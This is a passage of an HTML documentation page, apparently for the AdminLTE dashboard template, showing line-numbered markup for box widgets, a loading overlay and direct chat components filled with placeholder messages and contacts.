843:
<button class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
844:
</div><!-- /.box-tools -->
845:
</div><!-- /.box-header -->
846:
<div class="box-body">
847:
The body of the box
848:
</div><!-- /.box-body -->
849:
</div><!-- /.box --></pre>
850:
</div>
851:
<div class="col-md-4">
852:
<div class="box box-default">
853:
<div class="box-header with-border">
854:
<h3 class="box-title">Removable</h3>
855:
<div class="box-tools pull-right">
856:
<button class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
857:
</div>
<!-- /.box-tools -->
858:
</div>
<!-- /.box-header -->
859:
<div class="box-body">
860:
The body of the box
861:
</div>
<!-- /.box-body -->
862:
</div>
<!-- /.box -->
863:
<pre class="prettyprint">
864:
<div class="box box-default">
865:
<div class="box-header with-border">
866:
<h3 class="box-title">Removable</h3>
867:
<div class="box-tools pull-right">
868:
<button class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
869:
</div><!-- /.box-tools -->
870:
</div><!-- /.box-header -->
871:
<div class="box-body">
872:
The body of the box
873:
</div><!-- /.box-body -->
874:
</div><!-- /.box --></pre>
875:
</div>
876:
<div class="col-md-4">
877:
<div class="box box-default collapsed-box">
878:
<div class="box-header with-border">
879:
<h3 class="box-title">Expandable</h3>
880:
<div class="box-tools pull-right">
881:
<button class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-plus"></i></button>
882:
</div>
<!-- /.box-tools -->
883:
</div>
<!-- /.box-header -->
884:
<div class="box-body">
885:
The body of the box
886:
</div>
<!-- /.box-body -->
887:
</div>
<!-- /.box -->
888:
<pre class="prettyprint">
889:
<div class="box box-default collapsed-box">
890:
<div class="box-header with-border">
891:
<h3 class="box-title">Expandable</h3>
892:
<div class="box-tools pull-right">
893:
<button class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-plus"></i></button>
894:
</div><!-- /.box-tools -->
895:
</div><!-- /.box-header -->
896:
<div class="box-body">
897:
The body of the box
898:
</div><!-- /.box-body -->
899:
</div><!-- /.box --></pre>
900:
</div>
901:
</div>
<!-- /.row -->
902:
<p>We can also add labels, badges, pagination, tooltips, inputs and many more in the box tools. A few examples:</p>
903:
<div class="row">
904:
<div class="col-md-4">
905:
<div class="box box-default">
906:
<div class="box-header with-border">
907:
<h3 class="box-title">Labels</h3>
908:
<div class="box-tools pull-right">
909:
<span class="label label-default">Some Label</span>
910:
</div>
<!-- /.box-tools -->
911:
</div>
<!-- /.box-header -->
912:
<div class="box-body">
913:
The body of the box
914:
</div>
<!-- /.box-body -->
915:
</div>
<!-- /.box -->
916:
<pre class="prettyprint">
917:
<div class="box box-default">
918:
<div class="box-header with-border">
919:
<h3 class="box-title">Labels</h3>
920:
<div class="box-tools pull-right">
921:
<span class="label label-default">8 New Messages</span>
922:
</div><!-- /.box-tools -->
923:
</div><!-- /.box-header -->
924:
<div class="box-body">
925:
The body of the box
926:
</div><!-- /.box-body -->
927:
</div><!-- /.box --></pre>
928:
</div>
929:
<div class="col-md-4">
930:
<div class="box box-default">
931:
<div class="box-header with-border">
932:
<h3 class="box-title">Input</h3>
933:
<div class="box-tools pull-right">
934:
<div class="has-feedback">
935:
<input type="text" class="form-control input-sm" placeholder="Search...">
936:
<span class="glyphicon glyphicon-search form-control-feedback text-muted"></span>
937:
</div>
938:
</div>
<!-- /.box-tools -->
939:
</div>
<!-- /.box-header -->
940:
<div class="box-body">
941:
The body of the box
942:
</div>
<!-- /.box-body -->
943:
</div>
<!-- /.box -->
944:
<pre class="prettyprint">
945:
<div class="box box-default">
946:
<div class="box-header with-border">
947:
<h3 class="box-title">Input</h3>
948:
<div class="box-tools pull-right">
949:
<div class="has-feedback">
950:
<input type="text" class="form-control input-sm" placeholder="Search...">
951:
<span class="glyphicon glyphicon-search form-control-feedback"></span>
952:
</div>
953:
</div><!-- /.box-tools -->
954:
</div><!-- /.box-header -->
955:
<div class="box-body">
956:
The body of the box
957:
</div><!-- /.box-body -->
958:
</div><!-- /.box --></pre>
959:
</div>
960:
<div class="col-md-4">
961:
<div class="box box-default">
962:
<div class="box-header with-border">
963:
<h3 class="box-title">Tootips on buttons</h3>
964:
<div class="box-tools pull-right">
965:
<button class="btn btn-box-tool" data-widget="collapse" data-toggle="tooltip" title="Collapse"><i class="fa fa-minus"></i></button>
966:
<button class="btn btn-box-tool" data-widget="remove" data-toggle="tooltip" title="Remove"><i class="fa fa-times"></i></button>
967:
</div>
<!-- /.box-tools -->
968:
</div>
<!-- /.box-header -->
969:
<div class="box-body">
970:
The body of the box
971:
</div>
<!-- /.box-body -->
972:
</div>
<!-- /.box -->
973:
<pre class="prettyprint">
974:
<div class="box box-default">
975:
<div class="box-header with-border">
976:
<h3 class="box-title">Tooltips on buttons</h3>
977:
<div class="box-tools pull-right">
978:
<button class="btn btn-box-tool" data-widget="collapse" data-toggle="tooltip" title="Collapse"><i class="fa fa-minus"></i></button>
979:
<button class="btn btn-box-tool" data-widget="remove" data-toggle="tooltip" title="Remove"><i class="fa fa-times"></i></button>
980:
</div><!-- /.box-tools -->
981:
</div><!-- /.box-header -->
982:
<div class="box-body">
983:
The body of the box
984:
</div><!-- /.box-body -->
985:
</div><!-- /.box --></pre>
986:
</div>
<!-- /.col -->
987:
</div>
<!-- /.row -->
988:
<p>
989:
If you inserted a box into the document after <code>app.js</code> was loaded, you have to activate
990:
the collapse/remove buttons explicitly by calling <code>.activateBox()</code>:
991:
</p>
992:
<pre class="prettyprint"><code class="html"><script>
993:
$("#box-widget").activateBox();
994:
</script></code></pre>
995:
996:
<h4>Loading States</h4>
997:
<div class="row">
998:
<div class="col-md-6">
999:
<div class="box box-default">
000:
<div class="box-header with-border">
001:
<h3 class="box-title">Loading state</h3>
002:
</div>
003:
<div class="box-body">
004:
The body of the box
005:
</div>
<!-- /.box-body -->
006:
<!-- Loading (remove the following to stop the loading)-->
007:
<div class="overlay">
008:
<i class="fa fa-refresh fa-spin"></i>
009:
</div>
010:
<!-- end loading -->
011:
</div>
<!-- /.box -->
012:
</div>
<!-- /.col -->
013:
014:
<div class="col-md-6">
015:
<div class="box box-default box-solid">
016:
<div class="box-header with-border">
017:
<h3 class="box-title">Loading state (.box-solid)</h3>
018:
</div>
019:
<div class="box-body">
020:
The body of the box
021:
</div>
<!-- /.box-body -->
022:
<!-- Loading (remove the following to stop the loading)-->
023:
<div class="overlay">
024:
<i class="fa fa-refresh fa-spin"></i>
025:
</div>
026:
<!-- end loading -->
027:
</div>
<!-- /.box -->
028:
</div>
<!-- /.col -->
029:
</div>
<!-- /.row -->
030:
<p class="lead">
031:
To simulate a loading state, simply place this code before the <code>.box</code> closing tag.
032:
</p>
033:
<pre class="prettyprint"><code class="html"><div class="overlay">
034:
<i class="fa fa-refresh fa-spin"></i>
035:
</div>
036:
</code></pre>
037:
<h3 id="component-direct-chat">Direct Chat</h3>
038:
<p class="lead">The direct chat widget extends the box component to create a beautiful chat interface. This widget
039:
consists of a required messages pane and an <b>optional</b> contacts pane. Examples:</p>
040:
<!-- Direct Chat -->
041:
<div class="row">
042:
<div class="col-md-3">
043:
<!-- DIRECT CHAT PRIMARY -->
044:
<div class="box box-primary direct-chat direct-chat-primary">
045:
<div class="box-header with-border">
046:
<h3 class="box-title">Direct Chat</h3>
047:
<div class="box-tools pull-right">
048:
<span data-toggle="tooltip" title="3 New Messages" class="badge bg-light-blue">3</span>
049:
<button class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
050:
<button class="btn btn-box-tool" data-toggle="tooltip" title="Contacts" data-widget="chat-pane-toggle"><i class="fa fa-comments"></i></button>
051:
<button class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
052:
</div>
053:
</div>
<!-- /.box-header -->
054:
<div class="box-body">
055:
<!-- Conversations are loaded here -->
056:
<div class="direct-chat-messages">
057:
<!-- Message. Default to the left -->
058:
<div class="direct-chat-msg">
059:
<div class="direct-chat-info clearfix">
060:
<span class="direct-chat-name pull-left">Alexander Pierce</span>
061:
<span class="direct-chat-timestamp pull-right">23 Jan 2:00 pm</span>
062:
</div>
<!-- /.direct-chat-info -->
063:
<img class="direct-chat-img" src="../dist/img/user1-128x128.jpg" alt="message user image">
<!-- /.direct-chat-img -->
064:
<div class="direct-chat-text">
065:
Is this template really for free? That's unbelievable!
066:
</div>
<!-- /.direct-chat-text -->
067:
</div>
<!-- /.direct-chat-msg -->
068:
069:
<!-- Message to the right -->
070:
<div class="direct-chat-msg right">
071:
<div class="direct-chat-info clearfix">
072:
<span class="direct-chat-name pull-right">Sarah Bullock</span>
073:
<span class="direct-chat-timestamp pull-left">23 Jan 2:05 pm</span>
074:
</div>
<!-- /.direct-chat-info -->
075:
<img class="direct-chat-img" src="../dist/img/user3-128x128.jpg" alt="message user image">
<!-- /.direct-chat-img -->
076:
<div class="direct-chat-text">
077:
You better believe it!
078:
</div>
<!-- /.direct-chat-text -->
079:
</div>
<!-- /.direct-chat-msg -->
080:
</div>
<!--/.direct-chat-messages-->
081:
082:
<!-- Contacts are loaded here -->
083:
<div class="direct-chat-contacts">
084:
<ul class="contacts-list">
085:
<li>
086:
<a href="#">
087:
<img class="contacts-list-img" src="../dist/img/user1-128x128.jpg" alt="Contact Avatar">
088:
<div class="contacts-list-info">
089:
<span class="contacts-list-name">
090:
Count Dracula
091:
<small class="contacts-list-date pull-right">2/28/2015</small>
092:
</span>
093:
<span class="contacts-list-msg">How have you been? I was...</span>
094:
</div>
<!-- /.contacts-list-info -->
095:
</a>
096:
</li>
<!-- End Contact Item -->
097:
</ul>
<!-- /.contatcts-list -->
098:
</div>
<!-- /.direct-chat-pane -->
099:
</div>
<!-- /.box-body -->
100:
<div class="box-footer">
101:
<form action="#" method="post">
102:
<div class="input-group">
103:
<input type="text" name="message" placeholder="Type Message ..." class="form-control">
104:
<span class="input-group-btn">
105:
<button type="button" class="btn btn-primary btn-flat">Send</button>
106:
</span>
107:
</div>
108:
</form>
109:
</div>
<!-- /.box-footer-->
110:
</div>
<!--/.direct-chat -->
111:
</div>
<!-- /.col -->
112:
113:
<div class="col-md-3">
114:
<!-- DIRECT CHAT SUCCESS -->
115:
<div class="box box-success direct-chat direct-chat-success">
116:
<div class="box-header with-border">
117:
<h3 class="box-title">Direct Chat</h3>
118:
<div class="box-tools pull-right">
119:
<span data-toggle="tooltip" title="3 New Messages" class="badge bg-green">3</span>
120:
<button class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
121:
<button class="btn btn-box-tool" data-toggle="tooltip" title="Contacts" data-widget="chat-pane-toggle"><i class="fa fa-comments"></i></button>
122:
<button class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
123:
</div>
124:
</div>
<!-- /.box-header -->
125:
<div class="box-body">
126:
<!-- Conversations are loaded here -->
127:
<div class="direct-chat-messages">
128:
<!-- Message. Default to the left -->
129:
<div class="direct-chat-msg">
130:
<div class="direct-chat-info clearfix">
131:
<span class="direct-chat-name pull-left">Alexander Pierce</span>
132:
<span class="direct-chat-timestamp pull-right">23 Jan 2:00 pm</span>
133:
</div>
<!-- /.direct-chat-info -->
134:
<img class="direct-chat-img" src="../dist/img/user1-128x128.jpg" alt="message user image">
<!-- /.direct-chat-img -->
135:
<div class="direct-chat-text">
136:
Is this template really for free? That's unbelievable!
137:
</div>
<!-- /.direct-chat-text -->
138:
</div>
<!-- /.direct-chat-msg -->
139:
140:
<!-- Message to the right -->
141:
<div class="direct-chat-msg right">
142:
<div class="direct-chat-info clearfix">
143:
<span class="direct-chat-name pull-right">Sarah Bullock</span>
144:
<span class="direct-chat-timestamp pull-left">23 Jan 2:05 pm</span>
145:
</div>
<!-- /.direct-chat-info -->
146:
<img class="direct-chat-img" src="../dist/img/user3-128x128.jpg" alt="message user image">
<!-- /.direct-chat-img -->
147:
<div class="direct-chat-text">
148:
You better believe it!
149:
</div>
<!-- /.direct-chat-text -->
150:
</div>
<!-- /.direct-chat-msg -->
151:
</div>
<!--/.direct-chat-messages-->
152:
153:
<!-- Contacts are loaded here -->
154:
<div class="direct-chat-contacts">
155:
<ul class="contacts-list">
156:
<li>
157:
<a href="#">
158:
<img class="contacts-list-img" src="../dist/img/user1-128x128.jpg" alt="Contact Avatar">
159:
<div class="contacts-list-info">
160:
<span class="contacts-list-name">
161:
Count Dracula
162:
<small class="contacts-list-date pull-right">2/28/2015</small>
163:
</span>
164:
<span class="contacts-list-msg">How have you been? I was...</span>
165:
</div>
<!-- /.contacts-list-info -->
166:
</a>
167:
</li>
<!-- End Contact Item -->
168:
</ul>
<!-- /.contatcts-list -->
169:
</div>
<!-- /.direct-chat-pane -->
170:
</div>
<!-- /.box-body -->
171:
<div class="box-footer">
172:
<form action="#" method="post">
173:
<div class="input-group">
174:
<input type="text" name="message" placeholder="Type Message ..." class="form-control">
175:
<span class="input-group-btn">
176:
<button type="button" class="btn btn-success btn-flat">Send</button>
177:
</span>
178:
</div>
179:
</form>
180:
</div>
<!-- /.box-footer-->
181:
</div>
<!--/.direct-chat -->
182:
</div>
<!-- /.col -->
183:
184:
<div class="col-md-3">
185:
<!-- DIRECT CHAT WARNING -->
186:
<div class="box box-warning direct-chat direct-chat-warning">
187:
<div class="box-header with-border">
188:
<h3 class="box-title">Direct Chat</h3>
189:
<div class="box-tools pull-right">
190:
<span data-toggle="tooltip" title="3 New Messages" class="badge bg-yellow">3</span>
191:
<button class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
192:
<button class="btn btn-box-tool" data-toggle="tooltip" title="Contacts" data-widget="chat-pane-toggle"><i class="fa fa-comments"></i></button>
193:
<button class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
194:
</div>
195:
</div>
<!-- /.box-header -->
196:
<div class="box-body">
197:
<!-- Conversations are loaded here -->
198:
<div class="direct-chat-messages">
199:
<!-- Message. Default to the left -->
200:
<div class="direct-chat-msg">
201:
<div class="direct-chat-info clearfix">
202:
<span class="direct-chat-name pull-left">Alexander Pierce</span>
203:
<span class="direct-chat-timestamp pull-right">23 Jan 2:00 pm</span>
204:
</div>
<!-- /.direct-chat-info -->
205:
<img class="direct-chat-img" src="../dist/img/user1-128x128.jpg" alt="message user image">
<!-- /.direct-chat-img -->
206:
<div class="direct-chat-text">
207:
Is this template really for free? That's unbelievable!
208:
</div>
<!-- /.direct-chat-text -->
209:
</div>
<!-- /.direct-chat-msg -->
210:
211:
<!-- Message to the right -->
212:
<div class="direct-chat-msg right">
213:
<div class="direct-chat-info clearfix">
214:
<span class="direct-chat-name pull-right">Sarah Bullock</span>
215:
<span class="direct-chat-timestamp pull-left">23 Jan 2:05 pm</span>
216:
</div>
<!-- /.direct-chat-info -->
217:
<img class="direct-chat-img" src="../dist/img/user3-128x128.jpg" alt="message user image">
<!-- /.direct-chat-img -->
218:
<div class="direct-chat-text">
219:
You better believe it!
220:
</div>
<!-- /.direct-chat-text -->
221:
</div>
<!-- /.direct-chat-msg -->
222:
</div>
<!--/.direct-chat-messages-->
223:
224:
<!-- Contacts are loaded here -->
225:
<div class="direct-chat-contacts">
226:
<ul class="contacts-list">
227:
<li>
228:
<a href="#">
229:
<img class="contacts-list-img" src="../dist/img/user1-128x128.jpg" alt="Contact Avatar">
230:
<div class="contacts-list-info">
231:
<span class="contacts-list-name">
232:
Count Dracula
233:
<small class="contacts-list-date pull-right">2/28/2015</small>
234:
</span>
235:
<span class="contacts-list-msg">How have you been? I was...</span>
236:
</div>
<!-- /.contacts-list-info -->
237:
</a>
238:
</li>
<!-- End Contact Item -->
239:
</ul>
<!-- /.contatcts-list -->
240:
</div>
<!-- /.direct-chat-pane -->
241:
</div>
<!-- /.box-body -->
242:
<div class="box-footer">
243:
<form action="#" method="post">
244:
<div class="input-group">
245:
<input type="text" name="message" placeholder="Type Message ..." class="form-control">
246:
<span class="input-group-btn">
247:
<button type="button" class="btn btn-warning btn-flat">Send</button>
248:
</span>
249:
</div>
250:
</form>
251:
</div>
<!-- /.box-footer-->
252:
</div>
<!--/.direct-chat -->
253:
</div>
<!-- /.col -->
254:
255:
<div class="col-md-3">
256:
<!-- DIRECT CHAT DANGER -->
257:
<div class="box box-danger direct-chat direct-chat-danger">
258:
<div class="box-header with-border">
259:
<h3 class="box-title">Direct Chat</h3>
260:
<div class="box-tools pull-right">
261:
<span data-toggle="tooltip" title="3 New Messages" class="badge bg-red">3</span>
262:
<button class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
263:
<button class="btn btn-box-tool" data-toggle="tooltip" title="Contacts" data-widget="chat-pane-toggle"><i class="fa fa-comments"></i></button>
264:
<button class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
265:
</div>
266:
</div>
<!-- /.box-header -->
267:
<div class="box-body">
268:
<!-- Conversations are loaded here -->
269:
<div class="direct-chat-messages">
270:
<!-- Message. Default to the left -->
271:
<div class="direct-chat-msg">
272:
<div class="direct-chat-info clearfix">
273:
<span class="direct-chat-name pull-left">Alexander Pierce</span>
274:
<span class="direct-chat-timestamp pull-right">23 Jan 2:00 pm</span>
275:
</div>
<!-- /.direct-chat-info -->
276:
<img class="direct-chat-img" src="../dist/img/user1-128x128.jpg" alt="message user image">
<!-- /.direct-chat-img -->
277:
<div class="direct-chat-text">
278:
Is this template really for free? That's unbelievable!
279:
</div>
<!-- /.direct-chat-text -->
280:
</div>
<!-- /.direct-chat-msg -->
281:
282:
<!-- Message to the right -->
283:
<div class="direct-chat-msg right">
284:
<div class="direct-chat-info clearfix">
285:
<span class="direct-chat-name pull-right">Sarah Bullock</span>
286:
<span class="direct-chat-timestamp pull-left">23 Jan 2:05 pm</span>
287:
</div>
<!-- /.direct-chat-info -->
288:
<img class="direct-chat-img" src="../dist/img/user3-128x128.jpg" alt="message user image">
<!-- /.direct-chat-img -->
289:
<div class="direct-chat-text">
290:
You better believe it!
291:
</div>
<!-- /.direct-chat-text -->
292:
</div>
<!-- /.direct-chat-msg -->
293:
</div>
<!--/.direct-chat-messages-->
294:
295:
<!-- Contacts are loaded here -->
296:
<div class="direct-chat-contacts">
297:
<ul class="contacts-list">
298:
<li>
299:
<a href="#">
300:
<img class="contacts-list-img" src="../dist/img/user1-128x128.jpg" alt="Contact Avatar">
301:
<div class="contacts-list-info">
302:
<span class="contacts-list-name">
303:
Count Dracula
304:
<small class="contacts-list-date pull-right">2/28/2015</small>
305:
</span>
306:
<span class="contacts-list-msg">How have you been? I was...</span>
307:
</div>
<!-- /.contacts-list-info -->
308:
</a>
309:
</li>
<!-- End Contact Item -->
310:
</ul>
<!-- /.contatcts-list -->
311:
</div>
<!-- /.direct-chat-pane -->
312:
</div>
<!-- /.box-body -->
313:
<div class="box-footer">
314:
<form action="#" method="post">
315:
<div class="input-group">
316:
<input type="text" name="message" placeholder="Type Message ..." class="form-control">
317:
<span class="input-group-btn">
318:
<button type="button" class="btn btn-danger btn-flat">Send</button>
319:
</span>
320:
</div>
321:
</form>
322:
</div>
<!-- /.box-footer-->
323:
</div>
<!--/.direct-chat -->
324:
</div>
<!-- /.col -->
325:
</div>
<!-- /.row -->
326:
<p class="lead">Direct Chat Markup</p>
327:
<pre class="prettyprint"><code class="html">
328:
<!-- Construct the box with style you want. Here we are using box-danger -->
329:
<!-- Then add the class direct-chat and choose the direct-chat-* contexual class -->
330:
<!-- The contextual class should match the box, so we are using direct-chat-danger -->
331:
<div class="box box-danger direct-chat direct-chat-danger">
332:
<div class="box-header with-border">
333:
<h3 class="box-title">Direct Chat</h3>
334:
<div class="box-tools pull-right">
335:
<span data-toggle="tooltip" title="3 New Messages" class="badge bg-red">3</span>
336:
<button class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
337:
<!-- In box-tools add this button if you intend to use the contacts pane -->
338:
<button class="btn btn-box-tool" data-toggle="tooltip" title="Contacts" data-widget="chat-pane-toggle"><i class="fa fa-comments"></i></button>
339:
<button class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
340:
</div>
341:
</div><!-- /.box-header -->
342:
<div class="box-body">
343:
<!-- Conversations are loaded here -->
344:
<div class="direct-chat-messages">
345:
<!-- Message. Default to the left -->
346:
<div class="direct-chat-msg">
347:
<div class="direct-chat-info clearfix">
348:
<span class="direct-chat-name pull-left">Alexander Pierce</span>
349:
<span class="direct-chat-timestamp pull-right">23 Jan 2:00 pm</span>
350:
</div><!-- /.direct-chat-info -->
351:
<img class="direct-chat-img" src="../dist/img/user1-128x128.jpg" alt="message user image"><!-- /.direct-chat-img -->
352:
<div class="direct-chat-text">
353:
Is this template really for free? That's unbelievable!
354:
</div><!-- /.direct-chat-text -->
355:
</div><!-- /.direct-chat-msg -->
356:
357:
<!-- Message to the right -->
358:
<div class="direct-chat-msg right">
359:
<div class="direct-chat-info clearfix">
360:
<span class="direct-chat-name pull-right">Sarah Bullock</span>
361:
<span class="direct-chat-timestamp pull-left">23 Jan 2:05 pm</span>
362:
</div><!-- /.direct-chat-info -->
363:
<img class="direct-chat-img" src="../dist/img/user3-128x128.jpg" alt="message user image"><!-- /.direct-chat-img -->
364:
<div class="direct-chat-text">
365:
You better believe it!
366:
</div><!-- /.direct-chat-text -->
367:
</div><!-- /.direct-chat-msg -->
368:
</div><!--/.direct-chat-messages-->
369:
370:
<!-- Contacts are loaded here -->
371:
<div class="direct-chat-contacts">
372:
<ul class="contacts-list">
373:
<li>
374:
<a href="#">
375:
<img class="contacts-list-img" src="../dist/img/user1-128x128.jpg" alt="Contact Avatar">
376:
<div class="contacts-list-info">
377:
<span class="contacts-list-name">
378:
Count Dracula
379:
<small class="contacts-list-date pull-right">2/28/2015</small>
380:
</span>
381:
<span class="contacts-list-msg">How have you been? I was...</span>
382:
</div><!-- /.contacts-list-info -->
383:
</a>
384:
</li><!-- End Contact Item -->
385:
</ul><!-- /.contatcts-list -->
386:
</div><!-- /.direct-chat-pane -->
387:
</div><!-- /.box-body -->
388:
<div class="box-footer">
389:
<div class="input-group">
390:
<input type="text" name="message" placeholder="Type Message ..." class="form-control">
391:
<span class="input-group-btn">
392:
<button type="button" class="btn btn-danger btn-flat">Send</button>
393:
</span>
394:
</div>
395:
</div><!-- /.box-footer-->
396:
</div><!--/.direct-chat -->
397:
</code></pre>
398:
399:
<p>Of course you can use direct chat with a solid box by adding the class <code>solid-box</code> to the box. Here are a couple of examples:</p>
400:
401:
<!-- Direct Chat With Solid Boxes -->
402:
<div class="row">
403:
<div class="col-md-6">
404:
<!-- DIRECT CHAT WARNING -->
405:
<div class="box box-primary box-solid direct-chat direct-chat-primary">
406:
<div class="box-header">
407:
<h3 class="box-title">Direct Chat in a Solid Box</h3>
408:
<div class="box-tools pull-right">
409:
<span data-toggle="tooltip" title="3 New Messages" class="badge bg-light-blue">3</span>
410:
<button class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
411:
<button class="btn btn-box-tool" data-toggle="tooltip" title="Contacts" data-widget="chat-pane-toggle"><i class="fa fa-comments"></i></button>
412:
<button class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
413:
</div>
414:
</div>
<!-- /.box-header -->
415:
<div class="box-body">
416:
<!-- Conversations are loaded here -->
417:
<div class="direct-chat-messages">
418:
<!-- Message. Default to the left -->
419:
<div class="direct-chat-msg">
420:
<div class="direct-chat-info clearfix">
421:
<span class="direct-chat-name pull-left">Alexander Pierce</span>
422:
<span class="direct-chat-timestamp pull-right">23 Jan 2:00 pm</span>
423:
</div>
<!-- /.direct-chat-info -->
424:
<img class="direct-chat-img" src="../dist/img/user1-128x128.jpg" alt="message user image">
<!-- /.direct-chat-img -->
425:
<div class="direct-chat-text">
426:
Is this template really for free? That's unbelievable!
427:
</div>
<!-- /.direct-chat-text -->
428:
</div>
<!-- /.direct-chat-msg -->
429:
430:
<!-- Message to the right -->
431:
<div class="direct-chat-msg right">
432:
<div class="direct-chat-info clearfix">
433:
<span class="direct-chat-name pull-right">Sarah Bullock</span>
434:
<span class="direct-chat-timestamp pull-left">23 Jan 2:05 pm</span>
435:
</div>
<!-- /.direct-chat-info -->
436:
<img class="direct-chat-img" src="../dist/img/user3-128x128.jpg" alt="message user image">
<!-- /.direct-chat-img -->
437:
<div class="direct-chat-text">
438:
You better believe it!
439:
</div>
<!-- /.direct-chat-text -->
440:
</div>
<!-- /.direct-chat-msg -->
441:
</div>
<!--/.direct-chat-messages-->
442:
443:
<!-- Contacts are loaded here -->
444:
<div class="direct-chat-contacts">
445:
<ul class="contacts-list">
446:
<li>
447:
<a href="#">
448:
<img class="contacts-list-img" src="../dist/img/user1-128x128.jpg" alt="Contact Avatar">
449:
<div class="contacts-list-info">
450:
<span class="contacts-list-name">
451:
Count Dracula
452:
<small class="contacts-list-date pull-right">2/28/2015</small>
453:
</span>
454:
<span class="contacts-list-msg">How have you been? I was...</span>
455:
</div>
<!-- /.contacts-list-info -->
456:
</a>
457:
</li>
<!-- End Contact Item -->
458:
</ul>
<!-- /.contatcts-list -->
459:
</div>
<!-- /.direct-chat-pane -->
460:
</div>
<!-- /.box-body -->
461:
<div class="box-footer">
462:
<form action="#" method="post">
463:
<div class="input-group">
464:
<input type="text" name="message" placeholder="Type Message ..." class="form-control">
465:
<span class="input-group-btn">
466:
<button type="button" class="btn btn-primary btn-flat">Send</button>
467:
</span>
468:
</div>
469:
</form>
470:
</div>
<!-- /.box-footer-->
471:
</div>
<!--/.direct-chat -->
472:
</div>
<!-- /.col -->
473:
474:
<div class="col-md-6">
475:
<!-- DIRECT CHAT DANGER -->
476:
<div class="box box-info box-solid direct-chat direct-chat-info">
477:
<div class="box-header">
478:
<h3 class="box-title">Direct Chat in a Solid Box</h3>
479:
<div class="box-tools pull-right">
480:
<span data-toggle="tooltip" title="3 New Messages" class="badge bg-aqua">3</span>
481:
<button class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
482:
<button class="btn btn-box-tool" data-toggle="tooltip" title="Contacts" data-widget="chat-pane-toggle"><i class="fa fa-comments"></i></button>
483:
<button class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
484:
</div>
485:
</div>
<!-- /.box-header -->
486:
<div class="box-body">
487:
<!-- Conversations are loaded here -->
488:
<div class="direct-chat-messages">
489:
<!-- Message. Default to the left -->
490:
<div class="direct-chat-msg">
491:
<div class="direct-chat-info clearfix">
492:
<span class="direct-chat-name pull-left">Alexander Pierce</span>
493:
<span class="direct-chat-timestamp pull-right">23 Jan 2:00 pm</span>
494:
</div>
<!-- /.direct-chat-info -->
495:
<img class="direct-chat-img" src="../dist/img/user1-128x128.jpg" alt="message user image">
<!-- /.direct-chat-img -->
496:
<div class="direct-chat-text">
497:
Is this template really for free? That's unbelievable!
498:
</div>
<!-- /.direct-chat-text -->
499:
</div>
<!-- /.direct-chat-msg -->
500:
501:
<!-- Message to the right -->
502:
<div class="direct-chat-msg right">
503:
<div class="direct-chat-info clearfix">
504:
<span class="direct-chat-name pull-right">Sarah Bullock</span>
505:
<span class="direct-chat-timestamp pull-left">23 Jan 2:05 pm</span>
506:
</div>
<!-- /.direct-chat-info -->
507:
<img class="direct-chat-img" src="../dist/img/user3-128x128.jpg" alt="message user image">
<!-- /.direct-chat-img -->
508:
<div class="direct-chat-text">
509:
You better believe it!
510:
</div>
<!-- /.direct-chat-text -->
511:
</div>
<!-- /.direct-chat-msg -->
512:
</div>
<!--/.direct-chat-messages-->
513:
514:
<!-- Contacts are loaded here -->
515:
<div class="direct-chat-contacts">
516:
<ul class="contacts-list">
517:
<li>
518:
<a href="#">
519:
<img class="contacts-list-img" src="../dist/img/user1-128x128.jpg" alt="Contact Avatar">
520:
<div class="contacts-list-info">
521:
<span class="contacts-list-name">
522:
Count Dracula
523:
<small class="contacts-list-date pull-right">2/28/2015</small>
524:
</span>
525:
<span class="contacts-list-msg">How have you been? I was...</span>
526:
</div>
<!-- /.contacts-list-info -->
527:
</a>
528:
</li>
<!-- End Contact Item -->
529:
</ul>
<!-- /.contatcts-list -->
530:
</div>
<!-- /.direct-chat-pane -->
531:
</div>
<!-- /.box-body -->
532:
<div class="box-footer">
533:
<form action="#" method="post">
534:
<div class="input-group">
535:
<input type="text" name="message" placeholder="Type Message ..." class="form-control">
536:
<span class="input-group-btn">
537:
<button type="button" class="btn btn-info btn-flat">Send</button>
538:
</span>
539:
</div>
540:
</form>
541:
</div>
<!-- /.box-footer-->
542:
</div>
<!--/.direct-chat -->
543:
</div>
<!-- /.col -->
544:
</div>
<!-- /.row -->
545:
</section>
546:
547:
548: